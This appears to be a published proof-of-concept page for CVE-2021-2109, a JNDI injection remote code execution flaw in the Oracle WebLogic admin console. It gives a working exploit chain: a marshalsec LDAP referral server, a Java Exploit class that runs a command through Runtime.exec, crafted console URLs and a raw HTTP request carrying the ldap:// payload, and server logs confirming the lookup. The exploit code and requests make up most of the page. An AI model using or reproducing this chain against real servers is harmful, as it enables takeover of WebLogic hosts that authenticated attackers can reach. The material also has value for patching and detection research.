CVE-2021-2109 icon indicating copy to clipboard operation
CVE-2021-2109 copied to clipboard

Published 20 hours ago • verified publisher icon Al1ex
→

Metadata

CVE-2021-2109 && Weblogic Server RCE via JNDI

Description

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Conditions

Login authentication required

How to RCE

Step 1: Setup Weblogic

setup

Step 2: login

login

login2

Step 3：Setup a JNDI Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.174.1:4444/#Exploit 1088

jndi

Step 4: Compile Exploit.java
javac Exploit.java

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

execute

Step 5: Setup a Simple HTTPServer

httpserver

Step 6:Execute payload
http://192.168.174.144:7001/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://192.168.174.1:1088/Exploit;AdminServer")&returnTo=al1ex

payload

result

LDAP and HTTPServer logs:

logs

Another POC
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.174;1:1088/Exploit;AdminServer%22) HTTP/1.1
Host: 192.168.174.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=GZUoX_MV8_7OMiv-hhhzix8-zbfknZI4Prm_41N4vUPBEt1vP8mf!2017534379; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1605675257,1605704689,1605871061,1606205262; JSESSIONID=6qYoDKwKLN2nLGhJiJ1CtcaxZ8ENfjTU7B2n0GmG5HTVDrJxPkg3!655738588
Connection: close

result in burpsuite:

result

result in weblogic server:

weblogic

LDAP and HTTPServer logs(The first log item is belong to poc1):

logs2

Stake Information：
####<2021-1-22 下午12时48分01,552秒 CST> <Warning> <netuix> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006d> <1611290881552> <[severity-value: 16] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-423420> <开始操作或刷新操作时执行重定向。重定向 url 为 /console/consolejndi.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage。> 
####<2021-1-22 下午12时48分42,691秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611290922691> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads> 
####<2021-1-22 下午12时49分37,248秒 CST> <Error> <Console> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006e> <1611290977248> <[severity-value: 8] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-240003> <Administration Console encountered the following error: javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'Exploit'
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.bea.console.actions.jndi.JNDIBindingAction.execute(JNDIBindingAction.java:83)
	at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:431)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.access$201(PageFlowRequestProcessor.java:97)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor$ActionRunner.execute(PageFlowRequestProcessor.java:2044)
	at org.apache.beehive.netui.pageflow.interceptor.action.internal.ActionInterceptors.wrapAction(ActionInterceptors.java:91)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processActionPerform(PageFlowRequestProcessor.java:2116)
	at com.bea.console.internal.ConsolePageFlowRequestProcessor.processActionPerform(ConsolePageFlowRequestProcessor.java:275)
	at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:237)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processInternal(PageFlowRequestProcessor.java:556)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.process(PageFlowRequestProcessor.java:853)
	at org.apache.beehive.netui.pageflow.AutoRegisterActionServlet.process(AutoRegisterActionServlet.java:631)
	at org.apache.beehive.netui.pageflow.PageFlowActionServlet.process(PageFlowActionServlet.java:158)
	at com.bea.console.internal.ConsoleActionServlet.process(ConsoleActionServlet.java:266)
	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:416)
	at com.bea.console.internal.ConsoleActionServlet.doGet(ConsoleActionServlet.java:135)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1199)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1129)
	at com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate.strutsLookupInternal(PageFlowUtilsBeehiveDelegate.java:43)
	at com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils.strutsLookup(PageFlowUtils.java:108)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.executeAction(ScopedContentCommonSupport.java:707)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.renderInternal(ScopedContentCommonSupport.java:265)
	at com.bea.portlet.adapter.scopedcontent.StrutsStubImpl.render(StrutsStubImpl.java:105)
	at com.bea.netuix.servlets.controls.content.NetuiContent.preRender(NetuiContent.java:292)
	at com.bea.netuix.nf.ControlLifecycle$6.visit(ControlLifecycle.java:428)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:727)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walk(ControlTreeWalker.java:146)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:399)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:361)
	at com.bea.netuix.nf.Lifecycle.runOutbound(Lifecycle.java:208)
	at com.bea.netuix.nf.Lifecycle.run(Lifecycle.java:162)
	at com.bea.netuix.servlets.manager.UIServlet.runLifecycle(UIServlet.java:465)
	at com.bea.netuix.servlets.manager.UIServlet.doPost(UIServlet.java:291)
	at com.bea.netuix.servlets.manager.UIServlet.doGet(UIServlet.java:231)
	at com.bea.netuix.servlets.manager.UIServlet.service(UIServlet.java:216)
	at com.bea.netuix.servlets.manager.SingleFileServlet.service(SingleFileServlet.java:275)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at com.bea.console.utils.MBeanUtilsInitSingleFileServlet.service(MBeanUtilsInitSingleFileServlet.java:64)
	at weblogic.servlet.AsyncInitServlet.service(AsyncInitServlet.java:125)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at com.bea.console.internal.ParamFilter.doFilter(ParamFilter.java:38)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.RequestEventsFilter.doFilter(RequestEventsFilter.java:32)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 94 more
> 
####<2021-1-22 下午12时50分42,783秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611291042783> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads>

Reference

https://www.oracle.com/security-alerts/cpujan2021.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109

← Metadata

31
Stars
10
Forks
Watchers

Owner

verified publisher icon Al1ex

Metadata

CVE-2021-2109 && Weblogic Server RCE via JNDI

Back